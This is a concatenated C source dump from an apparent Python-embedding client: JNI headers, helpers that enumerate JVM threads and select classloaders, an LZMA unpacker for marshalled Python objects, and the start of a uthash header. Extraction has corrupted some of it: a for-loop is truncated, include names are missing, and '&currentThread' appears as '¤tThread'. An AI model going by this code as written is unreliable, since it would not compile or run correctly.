char *optionString; void *extraInfo; } JavaVMOption; typedef struct JavaVMInitArgs { jint version; jint nOptions; JavaVMOption *options; jboolean ignoreUnrecognized; } JavaVMInitArgs; typedef struct JavaVMAttachArgs { jint version; char *name; jobject group; } JavaVMAttachArgs; /* These will be VM-specific. */ #define JDK1_2 #define JDK1_4 /* End VM-specific. */ struct JNIInvokeInterface_ { void *reserved0; void *reserved1; void *reserved2; jint (JNICALL *DestroyJavaVM)(JavaVM *vm); jint (JNICALL *AttachCurrentThread)(JavaVM *vm, void **penv, void *args); jint (JNICALL *DetachCurrentThread)(JavaVM *vm); jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version); jint (JNICALL *AttachCurrentThreadAsDaemon)(JavaVM *vm, void **penv, void *args); }; struct JavaVM_ { const struct JNIInvokeInterface_ *functions; #ifdef __cplusplus jint DestroyJavaVM() { return functions->DestroyJavaVM(this); } jint AttachCurrentThread(void **penv, void *args) { return functions->AttachCurrentThread(this, penv, args); } jint DetachCurrentThread() { return functions->DetachCurrentThread(this); } jint GetEnv(void **penv, jint version) { return functions->GetEnv(this, penv, version); } jint AttachCurrentThreadAsDaemon(void **penv, void *args) { return functions->AttachCurrentThreadAsDaemon(this, penv, args); } #endif }; #ifdef _JNI_IMPLEMENTATION_ #define _JNI_IMPORT_OR_EXPORT_ JNIEXPORT #else #define _JNI_IMPORT_OR_EXPORT_ JNIIMPORT #endif _JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetDefaultJavaVMInitArgs(void *args); _JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_CreateJavaVM(JavaVM **pvm, void **penv, void *args); _JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *); /* Defined by native libraries. */ JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved); JNIEXPORT void JNICALL JNI_OnUnload(JavaVM *vm, void *reserved); #define JNI_VERSION_1_1 0x00010001 #define JNI_VERSION_1_2 0x00010002 #define JNI_VERSION_1_4 0x00010004 #define JNI_VERSION_1_6 0x00010006 #define JNI_VERSION_1_8 0x00010008 #ifdef __cplusplus } /* extern "C" */ #endif /* __cplusplus */ #endif /* !_JAVASOFT_JNI_H_ */ ================================================ FILE: client/common/jni_md.h ================================================ /* * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ #ifndef _JAVASOFT_JNI_MD_H_ #define _JAVASOFT_JNI_MD_H_ #if defined(_WIN32) || defined(_WIN64) #define JNIEXPORT __declspec(dllexport) #define JNIIMPORT __declspec(dllimport) #define JNICALL __stdcall #elif defined(__GNUC__) #define JNIEXPORT __attribute__((visibility("default"))) #define JNIIMPORT __attribute__((visibility("default"))) #define JNICALL #else #error Unknown compiler #endif typedef int jint; #if defined(_LP64) || defined(__LP64__) || defined(_WIN64) /* 64-bit */ typedef long jlong; #else typedef long long jlong; #endif typedef signed char jbyte; #endif /* !_JAVASOFT_JNI_MD_H_ */ ================================================ FILE: client/common/jni_on_load.c ================================================ #include "jni.h" #include "debug.h" /* // TODO: Add proper deinitialization.. */ static JavaVM *__jvm = NULL; static jobject __j_initial_classloader = NULL; static jobject __j_preferred_classloader = NULL; static jclass __j_ClassLoader = NULL; static jmethodID __j_ClassLoader_findClass = NULL; static PyObject * jvm_error = NULL; static char *__preferred_classloader_name = NULL; static char *__preferred_loadable_class = NULL; static char jvm_module_doc[] = "Info about parent JVM"; struct __thread_name_and_classloader_to_dict_ctx { void* payload; jclass Thread; jclass Class; jstring prefferedName; jmethodID getName; jmethodID getContextClassLoader; jmethodID getClass; jmethodID forName; jmethodID getClassName; }; static JNIEnv* Py_get_jni_env(JNIEnv *env) { jint ret; void *penv = NULL; if (env != NULL) return env; if (__jvm == NULL) { PyErr_SetString(jvm_error, "JVM was not loaded yet"); return NULL; } ret = (*__jvm)->GetEnv(__jvm, &penv, JNI_VERSION_1_6); switch (ret) { case JNI_OK: dprint("Load JNIEnv: %p\n", penv); break; case JNI_EDETACHED: PyErr_SetString(jvm_error, "Method called from detached thread"); return NULL; default: PyErr_SetString(jvm_error, "Could not get JNI Environment"); return NULL; } return penv; } static jint Py_new__thread_name_and_classloader_to_dict_ctx( JNIEnv *env, struct __thread_name_and_classloader_to_dict_ctx *ctx) { ctx->Thread = (*env)->FindClass(env, "java/lang/Thread"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "java/lang/Thread class not found"); return JNI_ERR; } dprint("ctx->Thread: %p\n", ctx->Thread); ctx->Class = (*env)->FindClass(env, "java/lang/Class"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "java/lang/Class class not found"); return JNI_ERR; } dprint("ctx->Class: %p\n", ctx->Class); ctx->getName = (*env)->GetMethodID(env, ctx->Thread, "getName", "()Ljava/lang/String;"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "getName method not found"); return JNI_ERR; } dprint("ctx->getName: %p\n", ctx->getName); ctx->getContextClassLoader = (*env)->GetMethodID( env, ctx->Thread, "getContextClassLoader", "()Ljava/lang/ClassLoader;"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "getContextClassLoader method not found"); return JNI_ERR; } dprint("ctx->getContextClassLoader: %p\n", ctx->getContextClassLoader); ctx->forName = (*env)->GetStaticMethodID( env, ctx->Class, "forName", "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "forName method not found"); return JNI_ERR; } dprint("ctx->getContextClassLoader: %p\n", ctx->forName); dprint("__j_ClassLoader %p\n", __j_ClassLoader); ctx->getClass = (*env)->GetMethodID(env, __j_ClassLoader, "getClass", "()Ljava/lang/Class;"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "getClass method not found"); return JNI_ERR; } dprint("__j_ClassLoader - getClass: %p\n", __j_ClassLoader, ctx->getClass); ctx->getClassName = (*env)->GetMethodID(env, ctx->Class, "getName", "()Ljava/lang/String;"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "getName (Class) method not found"); return JNI_ERR; } if (__preferred_loadable_class) { ctx->prefferedName = (*env)->NewStringUTF(env, __preferred_loadable_class); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "NewStringUTF failed"); return JNI_ERR; } } else { ctx->prefferedName = NULL; } ctx->payload = NULL; return JNI_OK; } static PyObject * Py_get_JVM(PyObject *self, PyObject *args) { if (!__jvm) { PyErr_SetString(jvm_error, "JVM was not loaded yet"); return NULL; } return PyCapsule_New(__jvm, "JVM", NULL); } typedef jint (*thread_enum_cb)(JNIEnv *env, jobject Thread, void *data); static jint jvm_for_each_thread(JNIEnv *env, thread_enum_cb callback, void *data) { jint retval = JNI_ERR; void *penv = NULL; jclass Thread; jclass ThreadArray; jint active_threads; jmethodID method_activeCount; jmethodID method_enumerate; jint i; jobject iThread; if (__jvm == NULL) { dprint("jvm_enumerate_thread_classloaders - __jvm is not initialized\n"); return JNI_EEXIST; } if (env == NULL) { retval = (*__jvm)->GetEnv(__jvm, &penv, JNI_VERSION_1_6); if (retval != JNI_OK) return retval; env = penv; } Thread = (*env)->FindClass(env, "java/lang/Thread"); if ((*env)->ExceptionCheck(env)) { dprint("java/lang/Thread not found\n"); return JNI_ERR; } ThreadArray = (*env)->FindClass(env, "[Ljava/lang/Thread;"); if ((*env)->ExceptionCheck(env)) { dprint("[java/lang/Thread not found\n"); return JNI_ERR; } method_activeCount = (*env)->GetStaticMethodID(env, Thread, "activeCount", "()I"); if ((*env)->ExceptionCheck(env)) { dprint("activeCount method not found\n"); return JNI_ERR; } method_enumerate = (*env)->GetStaticMethodID(env, Thread, "enumerate", "([Ljava/lang/Thread;)I"); if ((*env)->ExceptionCheck(env)) { dprint("enumerate method not found\n"); return JNI_ERR; } active_threads = (*env)->CallIntMethod(env, Thread, method_activeCount); if ((*env)->ExceptionCheck(env)) { dprint("activeCount() call failed\n"); return JNI_ERR; } dprint("Active threads: %d\n", active_threads); ThreadArray = (*env)->NewObjectArray(env, active_threads, Thread, NULL); if ((*env)->ExceptionCheck(env)) { dprint("new Thread[%d] failed\n", active_threads); return JNI_ERR; } active_threads = (*env)->CallIntMethod(env, Thread, method_enumerate, ThreadArray); if ((*env)->ExceptionCheck(env)) { dprint("enumerate() call failed\n"); return JNI_ERR; } dprint("enumerate() return %d threads\n", active_threads); for (i=0; iGetObjectArrayElement(env, ThreadArray, i); if ((*env)->ExceptionCheck(env)) { dprint("enumerate(): get %d element of array list failed\n", i); return JNI_ERR; } dprint("enumerate() - process %d thread - class at %p, callback at %p\n", i, iThread, callback); retval = callback(env, iThread, data); dprint("enumerate() - retval: %d\n"); if (retval != JNI_OK) { return retval; } } return JNI_OK; } static jint __thread_class_loader_name_and_class( JNIEnv *env, struct __thread_name_and_classloader_to_dict_ctx *ctx, jobject thread, char **name, jobject *classloader) { const char *utfchars = NULL; jobject threadContextLoader; jobject threadContextLoaderClass; jobject threadContextLoaderClassName; dprint("__thread_class_loader_name_and_class: 1 %p, %p\n", thread, ctx->getContextClassLoader); threadContextLoader = (*env)->CallObjectMethod(env, thread, ctx->getContextClassLoader); dprint("__thread_class_loader_name_and_class: 1.1\n"); if ((*env)->ExceptionCheck(env)) { dprint("Thread.getContextClassLoader() failed\n"); return JNI_ERR; } dprint("__thread_class_loader_name_and_class: 2\n"); if (threadContextLoader != NULL) { dprint("__thread_class_loader_name_and_class: 3\n"); threadContextLoaderClass = (*env)->CallObjectMethod(env, threadContextLoader, ctx->getClass); if ((*env)->ExceptionCheck(env)) { dprint("ContextLoader.getClass() failed\n"); return JNI_ERR; } dprint("__thread_class_loader_name_and_class: 4\n"); threadContextLoaderClassName = (*env)->CallObjectMethod(env, threadContextLoaderClass, ctx->getClassName); if ((*env)->ExceptionCheck(env)) { dprint("Class.getName() failed\n"); return JNI_ERR; } dprint("__thread_class_loader_name_and_class: 4\n"); utfchars = (*env)->GetStringUTFChars(env, threadContextLoaderClassName, NULL); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "Could not extract string from Java String"); return JNI_ERR; } if (name) *name = strdup(utfchars); if (classloader) *classloader = threadContextLoader; } else { if (name) *name = strdup("{{ bootstrap }}"); if (classloader) *classloader = NULL; } dprint("__thread_class_loader_name_and_class: 5\n"); return JNI_OK; } static jint __find_preferred_classloader_finder(JNIEnv *env, jobject thread, void *data) { struct __thread_name_and_classloader_to_dict_ctx *ctx = data; jint err = JNI_ERR; jobject threadName = NULL; jobject classLoader = NULL; char *classLoaderName = NULL; jclass loadedClass = NULL; if (ctx->payload != NULL) { return JNI_OK; } dprint("__find_preferred_classloader_finder - get thread name using %p..\n", ctx->getName); threadName = (*env)->CallObjectMethod(env, thread, ctx->getName); if ((*env)->ExceptionCheck(env)) { dprint("Thread.getName() failed\n"); return JNI_ERR; } dprint("__find_preferred_classloader_finder - threadName: %p..\n", threadName); err = __thread_class_loader_name_and_class(env, ctx, thread, &classLoaderName, &classLoader); if (err != JNI_OK) { return err; } dprint("__find_preferred_classloader_finder: class loader name: %s\n", classLoaderName); if (__preferred_classloader_name) { dprint("__find_preferred_classloader_finder: __preferred_classloader_name = %s\n", __preferred_classloader_name); } if (__preferred_classloader_name && __preferred_classloader_name[0] != '\0' && !strcmp(classLoaderName, __preferred_classloader_name)) { ctx->payload = classLoader; } else { // Try to findLoadedClass // Ignore result. If no exception, then classLoader can load requested // class if (ctx->prefferedName != NULL && classLoader != NULL) { loadedClass = (*env)->CallStaticObjectMethod( env, ctx->Class, ctx->forName, ctx->prefferedName, JNI_TRUE, classLoader); if ((*env)->ExceptionCheck(env) == JNI_OK) { if (loadedClass) { dprint("Found classLoader for class %s: %s\n", __preferred_loadable_class, classLoaderName); ctx->payload = classLoader; } else { dprint("Class %s could not be resolved with %s (%p)\n", __preferred_loadable_class, classLoaderName, classLoader); } } else { dprint("Class %s could not be resolved with %s (%p)\n", __preferred_loadable_class, classLoaderName, classLoader); (*env)->ExceptionClear(env); } } } free(classLoaderName); return JNI_OK; } static jobject __find_preferred_classloader(JNIEnv *env) { struct __thread_name_and_classloader_to_dict_ctx ctx; if (!__jvm) { dprint("JVM is not initialized yet\n"); return NULL; } if (__j_preferred_classloader != NULL) return __j_preferred_classloader; if (!((__preferred_classloader_name != NULL && __preferred_classloader_name[0] != '\0') || (__preferred_loadable_class != NULL && __preferred_loadable_class[0] != '\0'))) goto lbDefault; dprint("Search for preferred classloader\n"); if (Py_new__thread_name_and_classloader_to_dict_ctx(env, &ctx) != JNI_OK) goto lbDefault; if (jvm_for_each_thread(env, __find_preferred_classloader_finder, &ctx) != JNI_OK) goto lbError; if (ctx.payload) { dprint("Found preferred classloader\n"); __j_preferred_classloader = (*env)->NewGlobalRef(env, (jobject) ctx.payload); return __j_preferred_classloader; } lbError: dprint("Couldn't find preferred classloader, use cached default\n"); lbDefault: return __j_initial_classloader; } static PyObject * Py_get_PreferredClassLoader(PyObject *self, PyObject *args) { jobject classloader = NULL; JNIEnv *env = NULL; PyObject *PyJNIEnv = NULL; if (__j_preferred_classloader != NULL) return PyCapsule_New( __j_preferred_classloader, "PreferredClassLoader", NULL); if (!PyArg_ParseTuple(args, "O", &PyJNIEnv)) { return NULL; } env = PyCapsule_GetPointer(PyJNIEnv, "JNIEnv"); if (env == NULL) { return NULL; } classloader = __find_preferred_classloader(env); if (classloader == NULL) return NULL; return PyCapsule_New(classloader, "PreferredClassLoader", NULL); } static jclass get_thread_class(JNIEnv *env) { jclass Thread; env = Py_get_jni_env(env); if (env == NULL) return NULL; Thread = (*env)->FindClass(env, "java/lang/Thread"); if ((*env)->ExceptionCheck(env)) { dprint("java/lang/Thread not found\n"); return NULL; } return Thread; } static jint call_method( JNIEnv *env, jclass klass, jobject instance, jboolean is_static, const char *method, const char *signature, jobject *result, va_list a_list) { jmethodID method_id; jint retcode = JNI_ERR; jobject retval = NULL; if (is_static == JNI_TRUE) { method_id = (*env)->GetStaticMethodID( env, klass, method, signature); } else { method_id = (*env)->GetMethodID( env, klass, method, signature); } if ((*env)->ExceptionCheck(env)) { dprint( "call_method: method %s with signature %s not found\n", method, signature); goto lbExit; } if (is_static) { retval = (*env)->CallStaticObjectMethodV( env, klass, method_id, a_list); } else { retval = (*env)->CallObjectMethodV( env, instance, method_id, a_list); } if ((*env)->ExceptionCheck(env)) { dprint("call_method: call failed\n", method); goto lbExit; } if (result != NULL) { *result = retval; } retcode = JNI_OK; lbExit: return retcode; } static jint call_class_method( JNIEnv *env, jclass klass, const char *method, const char *signature, jobject *result, ...) { jint ret; va_list a_list; va_start(a_list, result); ret = call_method( env, klass, NULL, JNI_TRUE, method, signature, result, a_list ); va_end(a_list); return ret; } static jint call_instance_method( JNIEnv *env, jobject instance, const char *method, const char *signature, jobject *result, ...) { jint ret = JNI_ERR; jclass klass; va_list a_list; va_start(a_list, result); klass = (*env)->GetObjectClass(env, instance); if ((*env)->ExceptionCheck(env)) { dprint( "call_method: could not retrieve class of %p\n", instance); goto lbExit; } ret = call_method( env, klass, instance, JNI_FALSE, method, signature, result, a_list ); va_end(a_list); lbExit: return ret; } static PyObject* Py_JString_to_PyString(JNIEnv *env, jobject jstr) { const char *utfchars = (*env)->GetStringUTFChars(env, jstr, NULL); PyObject *result; if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "Could not extract string from Java String"); return NULL; } if (utfchars == NULL) { result = PyUnicode_FromString(""); } else { result = PyUnicode_FromString(utfchars); } (*env)->ReleaseStringUTFChars(env, jstr, utfchars); return result; } static jint __thread_name_and_classloader_to_dict(JNIEnv *env, jobject thread, void *data) { struct __thread_name_and_classloader_to_dict_ctx *ctx = data; jint err; jobject threadName; jobject classLoader; char *classLoaderName; PyObject *Py_threadName = NULL; PyObject *Py_classLoaderName = NULL; threadName = (*env)->CallObjectMethod(env, thread, ctx->getName); if ((*env)->ExceptionCheck(env)) { dprint("Thread.getName() failed\n"); return JNI_ERR; } err = __thread_class_loader_name_and_class(env, ctx, thread, &classLoaderName, &classLoader); if (err != JNI_OK) { return err; } Py_classLoaderName = PyUnicode_FromString(classLoaderName); free(classLoaderName); if (Py_classLoaderName == NULL) { return JNI_ENOMEM; } Py_threadName = Py_JString_to_PyString(env, threadName); if (Py_threadName == NULL) { Py_DECREF(Py_classLoaderName); return JNI_ERR; } if (PyDict_SetItem((PyObject *) ctx->payload, Py_threadName, Py_classLoaderName) != 0) { Py_DECREF(Py_threadName); Py_DECREF(Py_classLoaderName); return JNI_ERR; } return JNI_OK; } // Search classloaders by threads static PyObject *Py_enumerate_threads_classloaders(PyObject *self, PyObject *args) { struct __thread_name_and_classloader_to_dict_ctx ctx; jint retval; JNIEnv *env = Py_get_jni_env(NULL); if (env == NULL) { return NULL; } if (Py_new__thread_name_and_classloader_to_dict_ctx(env, &ctx) != JNI_OK) { return NULL; } ctx.payload = (void*) PyDict_New(); if (ctx.payload == NULL) { PyErr_SetString(jvm_error, "Couldn't create new dict"); return NULL; } retval = jvm_for_each_thread(env, __thread_name_and_classloader_to_dict, &ctx); if (retval != JNI_OK) { Py_DECREF((PyObject *) ctx.payload); PyErr_SetString(jvm_error, "Error during threads enumeration"); return NULL; } return (PyObject*) ctx.payload; } static PyObject *Py_set_preferred_classloader_name(PyObject *self, PyObject *args) { char *new_classloader_name = NULL; JNIEnv *env = NULL; if (!PyArg_ParseTuple(args, "s", &new_classloader_name)) { return NULL; } if (__preferred_classloader_name != NULL) { free(__preferred_classloader_name); __preferred_classloader_name = NULL; } if (__j_preferred_classloader != NULL) { env = Py_get_jni_env(NULL); if (env == NULL) return NULL; (*env)->DeleteGlobalRef(env, __j_preferred_classloader); __j_preferred_classloader = NULL; } if (new_classloader_name != NULL && new_classloader_name[0] != '\0') { __preferred_classloader_name = strdup(new_classloader_name); } if (__preferred_classloader_name) return PyUnicode_FromString(__preferred_classloader_name); return Py_BuildValue(""); } static PyObject *Py_set_preferred_loadable_class(PyObject *self, PyObject *args) { JNIEnv* env; char *new_loadable_class = NULL; if (!PyArg_ParseTuple(args, "s", &new_loadable_class)) { return NULL; } if (__preferred_loadable_class != NULL) { free(__preferred_loadable_class); __preferred_loadable_class = NULL; } if (__j_preferred_classloader != NULL) { env = Py_get_jni_env(NULL); if (env == NULL) return NULL; (*env)->DeleteGlobalRef(env, __j_preferred_classloader); __j_preferred_classloader = NULL; } if (new_loadable_class != NULL && new_loadable_class[0] != '\0') { __preferred_loadable_class = strdup(new_loadable_class); } if (__preferred_loadable_class) return PyUnicode_FromString(__preferred_loadable_class); return Py_BuildValue(""); } static PyObject *Py_get_preferred_classloader_name(PyObject *self, PyObject *args) { if (__preferred_classloader_name != NULL) return PyUnicode_FromString(__preferred_classloader_name); return Py_BuildValue(""); } static PyObject *Py_get_preferred_loadable_class(PyObject *self, PyObject *args) { if (__preferred_loadable_class != NULL) return PyUnicode_FromString(__preferred_loadable_class); return Py_BuildValue(""); } static PyObject *Py_set_ClassLoader(PyObject *self, PyObject *args) { JNIEnv *env = NULL; jobject classloader = NULL; jobject currentThread = NULL; jobject retval; jclass Thread = NULL; jint ret; if (__jvm == NULL) { PyErr_SetString(jvm_error, "JVM was not loaded yet"); return NULL; } env = Py_get_jni_env(NULL); if (!env) return NULL; dprint("Get Thread's JNIEnv: %p\n", env); classloader = __find_preferred_classloader(env); if (classloader == NULL) { PyErr_SetString( jvm_error, "Preferred classloader was not found"); return NULL; } dprint("Initial: JVM: %p, ClassLoader: %p\n", __jvm, classloader); Thread = get_thread_class(env); if (Thread == NULL) { PyErr_SetString(jvm_error, "Could not find Thread class"); return NULL; } dprint("Get Thread class: %p\n", Thread); ret = call_class_method( env, Thread, "currentThread", "()Ljava/lang/Thread;", ¤tThread); if (ret != JNI_OK) { PyErr_SetString(jvm_error, "Could not find current JVM Thread"); return NULL; } dprint("Get current thread: %p\n", currentThread); ret = call_instance_method( env, currentThread, "setContextClassLoader", "(Ljava/lang/ClassLoader;)V", &retval, classloader); if (ret != JNI_OK) { PyErr_SetString(jvm_error, "Iteration failed"); return NULL; } return PyBool_FromLong(1); } static jclass JNICALL __multi_FindClass(JNIEnv *env, const char *name) { jclass result = NULL; jstring className = NULL; dprint( "FindClass called (ICL: %p PCL: %p)\n", __j_initial_classloader, __j_preferred_classloader ); if (__j_preferred_classloader || __j_initial_classloader) { dprint( "Classloaders: Preferred: %p Initial: %p\n", __j_preferred_classloader, __j_initial_classloader); className = (*env)->NewStringUTF(env, name); if ((*env)->ExceptionCheck(env)) { dprint("FindClass mapping failed for %s\n", name); return NULL; } dprint("Search %s (mapped as %p)\n", name, className); } if (className) { if (__j_preferred_classloader) { result = (*env)->CallObjectMethod( env, __j_preferred_classloader, __j_ClassLoader_findClass, className); dprint("Search using preferred classloader: %s -> %p\n", name, result); if ((*env)->ExceptionCheck(env)) { dprint("Hooked PreferredClassloader->FindClass(%s) - failed\n", name); (*env)->ExceptionClear(env); result = NULL; } if (result != NULL) { dprint("Return %p\n", result); return result; } } if (__j_initial_classloader) { result = (*env)->CallObjectMethod( env, __j_initial_classloader, __j_ClassLoader_findClass, className); dprint("Search using initial classloader: %s -> %p\n", name, result); if ((*env)->ExceptionCheck(env)) { dprint("Hooked InitialClassloader->FindClass(%s) - failed\n", name); (*env)->ExceptionClear(env); result = NULL; } if (result != NULL) { dprint("Return %p\n", result); return result; } } } dprint("Fallback to bootstrap classloader for %s\n", name); return (*env)->FindClass(env, name); } static PyObject *Py_find_class(PyObject *self, PyObject *args) { PyObject *PyJNIEnv; JNIEnv *env; char *class_name; jclass result; if (!PyArg_ParseTuple(args, "Os", &PyJNIEnv, &class_name)) { return NULL; } env = PyCapsule_GetPointer(PyJNIEnv, "JNIEnv"); if (env == NULL) { return NULL; } result = __multi_FindClass(env, class_name); if (result == NULL) return Py_BuildValue(""); return PyCapsule_New(result, "Class", NULL); } static PyMethodDef JVM_Methods[] = { { "get_jvm", Py_get_JVM, METH_NOARGS, DOC("Get pointer to JVM") }, { "find_class", Py_find_class, METH_VARARGS, DOC("Call hinted FindClass") }, { "get_preferred_classloader", Py_get_PreferredClassLoader, METH_VARARGS, DOC("Get pointer to initializer thread's ClassLoader") }, { "set_preferred_classloader_name", Py_set_preferred_classloader_name, METH_VARARGS, DOC("Class name of required default classloader") }, { "get_preferred_classloader_name", Py_get_preferred_classloader_name, METH_NOARGS, DOC("Get current class name of requried default classloader") }, { "set_preferred_loadable_class", Py_set_preferred_loadable_class, METH_VARARGS, DOC("Class name of class which required classloader should be able to load") }, { "get_preferred_loadable_class", Py_get_preferred_loadable_class, METH_NOARGS, DOC("Get current class name of class which required classloader should be able to load") }, { "enumerate_threads_classloaders", Py_enumerate_threads_classloaders, METH_NOARGS, DOC("Get dict of thread names and names of their classloaders") }, { "apply_preferred_classloader", Py_set_ClassLoader, METH_NOARGS, DOC("initializer thread's ClassLoader to current thread") }, { NULL, NULL }, /* Sentinel */ }; /* static struct PyModuleDef JvmModuleDef = { PyModuleDef_HEAD_INIT, "jvm", jvm_module_doc, -1, JVM_Methods }; */ void setup_jvm_class(void) { /*PyObject *jvm_klass = PyModule_Create(&JvmModuleDef); if (!jvm_klass) { return NULL; } jvm_error = PyErr_NewException("jvm.error", NULL, NULL); Py_INCREF(jvm_error); PyModule_AddObject(jvm_klass, "error", jvm_error); */ dprint("NOT IMPLEMENTED: broken jvm setup\n"); return NULL; } static void __jni_deinit(int status, void *data) { dprint("JVM deinitialization\n"); if (__jvm == NULL) return; // Do nothing for now } JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) { jclass Thread; jobject classLoader; JNIEnv* env; jobject currentThread; jint ret; JavaVMAttachArgs args; if (!vm) { return 0; } dprint("JVM provided: %p\n", vm); __jvm = vm; ret = (*vm)->GetEnv(vm, &env, JNI_VERSION_1_6); if (ret != JNI_OK) { if (ret == JNI_EDETACHED) { dprint("JVM Attach required\n"); ret = (*vm)->AttachCurrentThread(vm, &env, (void *)&args); if (ret == JNI_OK) { dprint("Attached to JVM: %s ver %08x\n", args.name, args.version); } } if (ret != JNI_OK) { dprint("Failed to get JNIEnv: %d\n", ret); return JNI_ERR; } } Thread = get_thread_class(env); if (Thread == NULL) { return JNI_ERR; } ret = call_class_method( env, Thread, "currentThread", "()Ljava/lang/Thread;", ¤tThread); if (ret != JNI_OK) { return ret; } dprint("Current Thread: %p\n", currentThread); ret = call_instance_method( env, currentThread, "getContextClassLoader", "()Ljava/lang/ClassLoader;", &classLoader); if (ret != JNI_OK) { return ret; } dprint("Current Thread ClassLoader: %p\n", classLoader); __j_initial_classloader = (*env)->NewGlobalRef(env, classLoader); if ((*env)->ExceptionCheck(env)) { dprint("NewGlobalRef failed"); __j_initial_classloader = NULL; return JNI_ENOMEM; } dprint("New global ref to Current Thread ClassLoader: %p\n", __j_initial_classloader); __j_ClassLoader = (*env)->FindClass(env, "java/lang/ClassLoader"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "java/lang/ClassLoader class not found"); return JNI_ERR; } __j_ClassLoader = (*env)->NewGlobalRef(env, __j_ClassLoader); dprint("Cache ClassLoader class: %p\n", __j_ClassLoader); __j_ClassLoader_findClass = (*env)->GetMethodID( env, __j_ClassLoader, "findClass", "(Ljava/lang/String;)Ljava/lang/Class;"); if ((*env)->ExceptionCheck(env)) { PyErr_SetString(jvm_error, "findClass method not found"); return JNI_ERR; } dprint("Cache ClassLoader.findClass methodId: %p\n", __j_ClassLoader_findClass); #ifndef _WIN32 on_exit(__jni_deinit, NULL); #endif return JNI_VERSION_1_6; } ================================================ FILE: client/common/lzmaunpack.c ================================================ /* --- Code for inlining --- */ #ifndef UNCOMPRESSED #include "LzmaDec.h" #ifdef _WIN32 #define ALLOC(x) VirtualAlloc(NULL, x, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) #define FREE(x, size) VirtualFree(x, 0, MEM_RELEASE) #define INVALID_ALLOC NULL #else #include #define ALLOC(size) mmap(NULL, size + (4096 - size%4096), PROT_WRITE \ | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); #define FREE(x, size) munmap(x, size + (4096 - size%4096)) #define INVALID_ALLOC MAP_FAILED #endif static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); } static void _lzfree(void *p, void *address) { p = p; free(address); } static ISzAlloc _lzallocator = { _lzalloc, _lzfree }; #define lzmafree(x, size) do { FREE(x, size);} while (0) #else #define lzmafree(x, size) do {} while (0) #endif static unsigned int charToUInt(const char *data) { union { unsigned int l; unsigned char c[4]; } x; x.c[3] = data[0]; x.c[2] = data[1]; x.c[1] = data[2]; x.c[0] = data[3]; return x.l; } static void *lzmaunpack(const char *data, size_t size, Py_ssize_t *puncompressed_size) { unsigned char *uncompressed = NULL; SizeT uncompressed_size = 0; #ifndef UNCOMPRESSED const Byte *wheader = (Byte *) data + sizeof(unsigned int); const Byte *woheader = (Byte *) wheader + LZMA_PROPS_SIZE; ELzmaStatus status; size_t srcLen; int res; #endif uncompressed_size = charToUInt(data); dprint("lzmaunpack(%s, %d) -> expected size = %d\n", data, size, uncompressed_size); #ifndef UNCOMPRESSED uncompressed = ALLOC(uncompressed_size); if (uncompressed == INVALID_ALLOC) { return NULL; } srcLen = size - sizeof(unsigned int) - LZMA_PROPS_SIZE; res = LzmaDecode( uncompressed, &uncompressed_size, woheader, &srcLen, wheader, LZMA_PROPS_SIZE, LZMA_FINISH_ANY, &status, &_lzallocator ); if (res != SZ_OK) { FREE(uncompressed, uncompressed_size); return NULL; } #else uncompressed = data + sizeof(unsigned int); #endif if (puncompressed_size) { *puncompressed_size = uncompressed_size; } return uncompressed; } static PyObject *PyObject_lzmaunpack(const char *data, size_t size) { PyObject * object; Py_ssize_t uncompressed_size = 0; void *uncompressed = lzmaunpack(data, size, &uncompressed_size); if (!uncompressed) { PyErr_SetString(PyExc_Exception, "LZMA error"); return NULL; } dprint("PyMarshal_ReadObjectFromString(%p, %d [sizeof=%d])\n", uncompressed, (int) uncompressed_size, sizeof(uncompressed_size)); object = PyMarshal_ReadObjectFromString( uncompressed, uncompressed_size); lzmafree(uncompressed, uncompressed_size); return object; } static PyObject *PyDict_lzmaunpack(const char *data, size_t size) { PyObject * object = NULL; unsigned int keys; unsigned int ksize, vsize, i; size_t offset; PyObject *k = NULL; PyObject *v = NULL; Py_ssize_t uncompressed_size = 0; void *uncompressed = lzmaunpack(data, size, &uncompressed_size); if (!uncompressed) { return NULL; } object = PyDict_New(); if (!object) { goto lbExit; } keys = charToUInt(uncompressed); for (i=0, offset=4; i /* memcmp, memset, strlen */ #include /* ptrdiff_t */ #include /* exit */ /* These macros use decltype or the earlier __typeof GNU extension. As decltype is only available in newer compilers (VS2010 or gcc 4.3+ when compiling c++ source) this code uses whatever method is needed or, for VS2008 where neither is available, uses casting 